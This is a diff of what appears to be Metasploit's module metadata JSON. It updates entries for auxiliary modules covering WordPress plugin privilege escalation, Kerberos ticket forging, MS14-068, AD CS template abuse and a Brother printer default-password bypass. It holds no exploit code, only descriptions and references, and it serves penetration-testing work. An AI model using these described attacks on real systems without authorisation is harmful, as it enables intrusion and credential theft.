"/modules/auxiliary/admin/http/webnms_cred_disclosure.rb", "is_install_path": true, "ref_name": "admin/http/webnms_cred_disclosure", @@ -5729,19 +5870,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/webnms_file_download": { "name": "WebNMS Framework Server Arbitrary Text File Download", "fullname": "auxiliary/admin/http/webnms_file_download", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-07-04", "type": "auxiliary", @@ -5773,7 +5917,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/webnms_file_download.rb", "is_install_path": true, "ref_name": "admin/http/webnms_file_download", @@ -5781,19 +5925,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/whatsup_gold_sqli": { "name": "WhatsUp Gold SQL Injection (CVE-2024-6670)", "fullname": "auxiliary/admin/http/whatsup_gold_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-08-29", "type": "auxiliary", @@ -5827,7 +5974,7 @@ "https" ], "targets": null, - "mod_time": "2024-09-26 04:01:36 +0000", + "mod_time": "2025-06-23 19:38:36 +0000", "path": "/modules/auxiliary/admin/http/whatsup_gold_sqli.rb", "is_install_path": true, "ref_name": "admin/http/whatsup_gold_sqli", @@ -5848,16 +5995,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/wp_automatic_plugin_privesc": { "name": "WordPress Plugin Automatic Config Change to RCE", "fullname": "auxiliary/admin/http/wp_automatic_plugin_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-09-06", "type": "auxiliary", @@ -5899,9 +6042,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "config-changes", "ioc-in-logs" @@ -5912,16 +6053,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/wp_custom_contact_forms": { "name": "WordPress custom-contact-forms Plugin SQL Upload", "fullname": "auxiliary/admin/http/wp_custom_contact_forms", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-08-07", "type": "auxiliary", @@ -5954,7 +6091,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/wp_custom_contact_forms.rb", "is_install_path": true, "ref_name": "admin/http/wp_custom_contact_forms", @@ -5962,19 +6099,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/wp_easycart_privilege_escalation": { "name": "WordPress WP EasyCart Plugin Privilege Escalation", "fullname": "auxiliary/admin/http/wp_easycart_privilege_escalation", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-02-25", "type": "auxiliary", @@ -6006,7 +6146,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/wp_easycart_privilege_escalation.rb", "is_install_path": true, "ref_name": "admin/http/wp_easycart_privilege_escalation", @@ -6014,19 +6154,23 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/wp_gdpr_compliance_privesc": { "name": "WordPress WP GDPR Compliance Plugin Privilege Escalation", "fullname": "auxiliary/admin/http/wp_gdpr_compliance_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-11-08", "type": "auxiliary", @@ -6034,7 +6178,7 @@ "Mikey Veenstra (WordFence)", "Thomas Labadie" ], - "description": "The Wordpress GDPR Compliance plugin <= v1.4.2 allows unauthenticated users to set\n wordpress administration options by overwriting values within the database.\n\n The vulnerability is present in WordPress’s admin-ajax.php, which allows unauthorized\n users to trigger handlers and make configuration changes because of a failure to do\n capability checks when executing the 'save_setting' internal action.\n\n WARNING: The module sets Wordpress configuration options without reading their current\n values and restoring them later.", + "description": "The Wordpress GDPR Compliance plugin <= v1.4.2 allows unauthenticated users to set\n wordpress administration options by overwriting values within the database.\n\n The vulnerability is present in WordPress's admin-ajax.php, which allows unauthorized\n users to trigger handlers and make configuration changes because of a failure to do\n capability checks when executing the 'save_setting' internal action.\n\n WARNING: The module sets Wordpress configuration options without reading their current\n values and restoring them later.", "references": [ "URL-https://www.wordfence.com/blog/2018/11/privilege-escalation-flaw-in-wp-gdpr-compliance-plugin-exploited-in-the-wild/", "CVE-2018-19207", @@ -6059,7 +6203,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-06-25 11:20:47 +0000", "path": "/modules/auxiliary/admin/http/wp_gdpr_compliance_privesc.rb", "is_install_path": true, "ref_name": "admin/http/wp_gdpr_compliance_privesc", @@ -6067,28 +6211,20 @@ "post_auth": true, "default_credential": false, "notes": { - "Stability": [ - - ], - "Reliability": [ - - ], + "Stability": [], + "Reliability": [], "SideEffects": [ "config-changes" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/wp_google_maps_sqli": { "name": "WordPress Google Maps Plugin SQL Injection", "fullname": "auxiliary/admin/http/wp_google_maps_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-04-02", "type": "auxiliary", @@ -6119,7 +6255,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/wp_google_maps_sqli.rb", "is_install_path": true, "ref_name": "admin/http/wp_google_maps_sqli", @@ -6127,19 +6263,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/wp_masterstudy_privesc": { "name": "Wordpress MasterStudy Admin Account Creation", "fullname": "auxiliary/admin/http/wp_masterstudy_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-02-18", "type": "auxiliary", @@ -6187,22 +6327,16 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/wp_post_smtp_acct_takeover": { "name": "Wordpress POST SMTP Account Takeover", "fullname": "auxiliary/admin/http/wp_post_smtp_acct_takeover", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-01-10", "type": "auxiliary", @@ -6234,7 +6368,7 @@ "https" ], "targets": null, - "mod_time": "2024-11-28 13:18:47 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.rb", "is_install_path": true, "ref_name": "admin/http/wp_post_smtp_acct_takeover", @@ -6248,22 +6382,16 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/wp_symposium_sql_injection": { "name": "WordPress Symposium Plugin SQL Injection", "fullname": "auxiliary/admin/http/wp_symposium_sql_injection", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-08-18", "type": "auxiliary", @@ -6295,7 +6423,7 @@ "https" ], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/wp_symposium_sql_injection.rb", "is_install_path": true, "ref_name": "admin/http/wp_symposium_sql_injection", @@ -6303,19 +6431,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/wp_wplms_privilege_escalation": { "name": "WordPress WPLMS Theme Privilege Escalation", "fullname": "auxiliary/admin/http/wp_wplms_privilege_escalation", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-02-09", "type": "auxiliary", @@ -6346,7 +6477,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb", "is_install_path": true, "ref_name": "admin/http/wp_wplms_privilege_escalation", @@ -6354,19 +6485,23 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/zyxel_admin_password_extractor": { "name": "ZyXEL GS1510-16 Password Extractor", "fullname": "auxiliary/admin/http/zyxel_admin_password_extractor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -6397,7 +6532,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb", "is_install_path": true, "ref_name": "admin/http/zyxel_admin_password_extractor", @@ -6405,19 +6540,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/kerberos/forge_ticket": { "name": "Kerberos Silver/Golden/Diamond/Sapphire Ticket Forging", "fullname": "auxiliary/admin/kerberos/forge_ticket", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -6434,14 +6572,10 @@ "platform": "", "arch": "", "rport": 88, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2023-11-28 13:14:13 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/kerberos/forge_ticket.rb", "is_install_path": true, "ref_name": "admin/kerberos/forge_ticket", @@ -6455,9 +6589,7 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ], + "Reliability": [], "AKA": [ "Ticketer", "Klist" @@ -6487,9 +6619,7 @@ "auxiliary_admin/kerberos/get_ticket": { "name": "Kerberos TGT/TGS Ticket Requester", "fullname": "auxiliary/admin/kerberos/get_ticket", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -6502,18 +6632,12 @@ "smashery" ], "description": "This module requests TGT/TGS Kerberos tickets from the KDC", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 88, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2025-01-29 14:25:33 +0000", "path": "/modules/auxiliary/admin/kerberos/get_ticket.rb", @@ -6530,12 +6654,8 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -6557,9 +6677,7 @@ "auxiliary_admin/kerberos/inspect_ticket": { "name": "Kerberos Ticket Inspecting", "fullname": "auxiliary/admin/kerberos/inspect_ticket", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -6567,20 +6685,14 @@ "Dean Welch" ], "description": "This module outputs the contents of a ccache/kirbi file and optionally (when provided with the appropriate key)\n decrypts and displays the encrypted content too.\n Can be used for inspecting tickets that aren't working as intended in an effort to debug them.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2023-01-26 09:21:55 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/kerberos/inspect_ticket.rb", "is_install_path": true, "ref_name": "admin/kerberos/inspect_ticket", @@ -6589,30 +6701,22 @@ "default_credential": false, "notes": { "Stability": [ - - ], - "SideEffects": [ - - ], - "Reliability": [ - + "crash-safe" ], + "SideEffects": [], + "Reliability": [], "AKA": [ "klist" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/kerberos/keytab": { "name": "Kerberos keytab utilities", "fullname": "auxiliary/admin/kerberos/keytab", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -6620,18 +6724,12 @@ "alanfoster" ], "description": "Utilities for interacting with keytab files, which can store the hashed passwords of one or\n more principals.\n\n Discovered keytab files can be used to generate Kerberos Ticket Granting Tickets, or bruteforced\n offline.\n\n Keytab files can be also useful for decrypting Kerberos traffic using Wireshark dissectors,\n including the krbtgt encrypted blobs if the AES password hash is used.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-06-13 09:14:06 +0000", "path": "/modules/auxiliary/admin/kerberos/keytab.rb", @@ -6641,15 +6739,9 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "Stability": [], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -6671,9 +6763,7 @@ "auxiliary_admin/kerberos/ms14_068_kerberos_checksum": { "name": "MS14-068 Microsoft Kerberos Checksum Validation Vulnerability", "fullname": "auxiliary/admin/kerberos/ms14_068_kerberos_checksum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-11-18", "type": "auxiliary", @@ -6682,27 +6772,23 @@ "Sylvain Monne", "juan vazquez " ], - "description": "This module exploits a vulnerability in the Microsoft Kerberos implementation. The problem\n exists in the verification of the Privilege Attribute Certificate (PAC) from a Kerberos TGS\n request, where a domain user may forge a PAC with arbitrary privileges, including\n Domain Administrator. This module requests a TGT ticket with a forged PAC and exports it to\n a MIT Kerberos Credential Cache file. It can be loaded on Windows systems with the Mimikatz\n help. It has been tested successfully on Windows 2008.", + "description": "This module exploits a vulnerability in the Microsoft Kerberos implementation. The problem\n exists in the verification of the Privilege Attribute Certificate (PAC) from a Kerberos TGS\n request, where a domain user may forge a PAC with arbitrary privileges, including\n Domain Administrator. This module requests a TGT ticket with a forged PAC and exports it to\n a MIT Kerberos Credential Cache file. It can be loaded on Windows systems with the Mimikatz\n help. It has been tested successfully on Windows 2008.", "references": [ "CVE-2014-6324", "MSB-MS14-068", "OSVDB-114751", "URL-http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx", "URL-https://labs.mwrinfosecurity.com/blog/2014/12/16/digging-into-ms14-068-exploitation-and-defence/", - "URL-https://github.com/bidord/pykek", + "URL-http://web.archive.org/web/20180107213459/https://github.com/bidord/pykek", "URL-https://www.rapid7.com/blog/post/2014/12/25/12-days-of-haxmas-ms14-068-now-in-metasploit" ], "platform": "", "arch": "", "rport": 88, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2023-01-27 09:11:43 +0000", + "mod_time": "2025-06-02 16:04:42 +0000", "path": "/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb", "is_install_path": true, "ref_name": "admin/kerberos/ms14_068_kerberos_checksum", @@ -6710,19 +6796,25 @@ "post_auth": true, "default_credential": false, "notes": { + "AKA": [ + "ESKIMOROLL" + ], + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/kerberos/ticket_converter": { "name": "Kerberos ticket converter", "fullname": "auxiliary/admin/kerberos/ticket_converter", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -6741,14 +6833,10 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-09-28 22:28:54 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/kerberos/ticket_converter.rb", "is_install_path": true, "ref_name": "admin/kerberos/ticket_converter", @@ -6757,27 +6845,19 @@ "default_credential": false, "notes": { "Stability": [ - - ], - "Reliability": [ - + "crash-safe" ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/ldap/ad_cs_cert_template": { "name": "AD CS Certificate Template Management", "fullname": "auxiliary/admin/ldap/ad_cs_cert_template", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -6789,20 +6869,17 @@ ], "description": "This module can create, read, update, and delete AD CS certificate templates from a Active Directory Domain\n Controller.\n\n The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be\n restored using the CREATE or UPDATE actions. The CREATE and UPDATE actions require a certificate template data\n file to be specified to define the attributes. Template data files are provided to create a template that is\n vulnerable to ESC1, ESC2, ESC3 and ESC15.\n\n This module is capable of exploiting ESC4.", "references": [ + "URL-https://posts.specterops.io/certified-pre-owned-d95910965cd2", "URL-https://github.com/GhostPack/Certify", "URL-https://github.com/ly4k/Certipy" ], "platform": "", "arch": "", "rport": 389, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2025-02-13 16:46:31 +0000", + "mod_time": "2025-07-15 17:20:36 +0000", "path": "/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb", "is_install_path": true, "ref_name": "admin/ldap/ad_cs_cert_template", @@ -6810,15 +6887,11 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], + "Stability": [], "SideEffects": [ "config-changes" ], - "Reliability": [ - - ], + "Reliability": [], "AKA": [ "Certifry", "Certipy" @@ -6850,9 +6923,7 @@ "auxiliary_admin/ldap/change_password": { "name": "Change Password", "fullname": "auxiliary/admin/ldap/change_password", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -6867,14 +6938,10 @@ "platform": "", "arch": "", "rport": 389, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-12-06 16:47:25 +0000", + "mod_time": "2025-05-28 10:19:30 +0000", "path": "/modules/auxiliary/admin/ldap/change_password.rb", "is_install_path": true, "ref_name": "admin/ldap/change_password", @@ -6882,15 +6949,11 @@ "post_auth": true, "default_credential": false, "notes": { - "Stability": [ - - ], + "Stability": [], "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "ldap" @@ -6910,9 +6973,7 @@ "auxiliary_admin/ldap/rbcd": { "name": "Role Base Constrained Delegation", "fullname": "auxiliary/admin/ldap/rbcd", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -6930,30 +6991,22 @@ "platform": "", "arch": "", "rport": 389, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2025-02-13 16:46:31 +0000", + "mod_time": "2025-06-23 18:39:19 +0000", "path": "/modules/auxiliary/admin/ldap/rbcd.rb", "is_install_path": true, "ref_name": "admin/ldap/rbcd", - "check": false, + "check": true, "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], + "Stability": [], "SideEffects": [ "config-changes" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "ldap" @@ -6981,9 +7034,7 @@ "auxiliary_admin/ldap/shadow_credentials": { "name": "Shadow Credentials", "fullname": "auxiliary/admin/ldap/shadow_credentials", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -6999,30 +7050,22 @@ "platform": "", "arch": "", "rport": 389, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-05-02 13:57:13 +0000", + "mod_time": "2025-06-23 18:39:19 +0000", "path": "/modules/auxiliary/admin/ldap/shadow_credentials.rb", "is_install_path": true, "ref_name": "admin/ldap/shadow_credentials", - "check": false, + "check": true, "post_auth": true, "default_credential": false, "notes": { - "Stability": [ - - ], + "Stability": [], "SideEffects": [ "config-changes" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "ldap" @@ -7050,9 +7093,7 @@ "auxiliary_admin/ldap/vmware_vcenter_vmdir_auth_bypass": { "name": "VMware vCenter Server vmdir Authentication Bypass", "fullname": "auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-04-09", "type": "auxiliary", @@ -7072,14 +7113,10 @@ "platform": "", "arch": "", "rport": 636, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-05-02 13:57:13 +0000", + "mod_time": "2025-05-28 09:23:36 +0000", "path": "/modules/auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass.rb", "is_install_path": true, "ref_name": "admin/ldap/vmware_vcenter_vmdir_auth_bypass", @@ -7094,9 +7131,7 @@ "ioc-in-logs", "config-changes" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "ldap" @@ -7112,9 +7147,7 @@ "auxiliary_admin/maxdb/maxdb_cons_exec": { "name": "SAP MaxDB cons.exe Remote Command Injection", "fullname": "auxiliary/admin/maxdb/maxdb_cons_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-01-09", "type": "auxiliary", @@ -7130,34 +7163,90 @@ "platform": "", "arch": "", "rport": 7210, + "autofilter_ports": [], + "autofilter_services": [], + "targets": null, + "mod_time": "2025-05-21 08:32:40 +0000", + "path": "/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb", + "is_install_path": true, + "ref_name": "admin/maxdb/maxdb_cons_exec", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] + }, + "session_types": false, + "needs_cleanup": false, + "actions": [] + }, + "auxiliary_admin/misc/brother_default_admin_auth_bypass_cve_2024_51978": { + "name": "Multiple Brother devices authentication bypass via default administrator password generation", + "fullname": "auxiliary/admin/misc/brother_default_admin_auth_bypass_cve_2024_51978", + "aliases": [], + "rank": 300, + "disclosure_date": "2025-06-25", + "type": "auxiliary", + "author": [ + "sfewer-r7" + ], + "description": "By leaking a target devices serial number, a remote attacker can generate the target devices default\n administrator password. The target device may leak its serial number via unauthenticated HTTP, HTTPS, IPP,\n SNMP, or PJL requests.", + "references": [ + "CVE-2024-51977", + "CVE-2024-51978", + "URL-https://support.brother.com/g/b/link.aspx?prod=group2&faqid=faq00100846_000", + "URL-https://support.brother.com/g/b/link.aspx?prod=group2&faqid=faq00100848_000", + "URL-https://support.brother.com/g/b/link.aspx?prod=lmgroup1&faqid=faqp00100620_000", + "URL-https://www.rapid7.com/blog/post/multiple-brother-devices-multiple-vulnerabilities-fixed", + "URL-https://github.com/sfewer-r7/BrotherVulnerabilities" + ], + "platform": "", + "arch": "", + "rport": 443, "autofilter_ports": [ - + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 ], "autofilter_services": [ - + "http", + "https" ], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", - "path": "/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb", + "mod_time": "2025-07-09 14:59:54 +0000", + "path": "/modules/auxiliary/admin/misc/brother_default_admin_auth_bypass_cve_2024_51978.rb", "is_install_path": true, - "ref_name": "admin/maxdb/maxdb_cons_exec", + "ref_name": "admin/misc/brother_default_admin_auth_bypass_cve_2024_51978", "check": false, "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/misc/sercomm_dump_config": { "name": "SerComm Device Configuration Dump", "fullname": "auxiliary/admin/misc/sercomm_dump_config", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-12-31", "type": "auxiliary", @@ -7165,7 +7254,7 @@ "Eloi Vanderbeken ", "Matt \"hostess\" Andreko " ], - "description": "This module will dump the configuration of several SerComm devices. These devices\n typically include routers from NetGear and Linksys. This module was tested\n successfully against the NetGear DG834 series ADSL modem router.", + "description": "This module will dump the configuration of several SerComm devices. These devices\n typically include routers from NetGear and Linksys. This module was tested\n successfully against the NetGear DG834 series ADSL modem router.", "references": [ "OSVDB-101653", "URL-https://github.com/elvanderb/TCP-32764" @@ -7173,14 +7262,10 @@ "platform": "", "arch": "", "rport": 32764, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/misc/sercomm_dump_config.rb", "is_install_path": true, "ref_name": "admin/misc/sercomm_dump_config", @@ -7188,40 +7273,37 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/misc/wol": { "name": "UDP Wake-On-Lan (WOL)", "fullname": "auxiliary/admin/misc/wol", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "sinn3r " ], - "description": "This module will turn on a remote machine with a network card that\n supports wake-on-lan (or MagicPacket). In order to use this, you must\n know the machine's MAC address in advance. The current default MAC\n address is just an example of how your input should look like.\n\n The password field is optional. If present, it should be in this hex\n format: 001122334455, which is translated to \"0x001122334455\" in binary.\n Note that this should be either 4 or 6 bytes long.", - "references": [ - - ], + "description": "This module will turn on a remote machine with a network card that\n supports wake-on-lan (or MagicPacket). In order to use this, you must\n know the machine's MAC address in advance. The current default MAC\n address is just an example of how your input should look like.\n\n The password field is optional. If present, it should be in this hex\n format: 001122334455, which is translated to \"0x001122334455\" in binary.\n Note that this should be either 4 or 6 bytes long.", + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2019-03-05 04:43:37 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/misc/wol.rb", "is_install_path": true, "ref_name": "admin/misc/wol", @@ -7229,26 +7311,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/motorola/wr850g_cred": { "name": "Motorola WR850G v4.03 Credentials", "fullname": "auxiliary/admin/motorola/wr850g_cred", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2004-09-24", "type": "auxiliary", "author": [ "kris katterjohn " ], - "description": "Login credentials to the Motorola WR850G router with\n firmware v4.03 can be obtained via a simple GET request\n if issued while the administrator is logged in. A lot\n more information is available through this request, but\n you can get it all and more after logging in.", + "description": "Login credentials to the Motorola WR850G router with\n firmware v4.03 can be obtained via a simple GET request\n if issued while the administrator is logged in. A lot\n more information is available through this request, but\n you can get it all and more after logging in.", "references": [ "CVE-2004-1550", "OSVDB-10232", @@ -7257,14 +7340,10 @@ "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/motorola/wr850g_cred.rb", "is_install_path": true, "ref_name": "admin/motorola/wr850g_cred", @@ -7272,19 +7351,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/ms/ms08_059_his2006": { "name": "Microsoft Host Integration Server 2006 Command 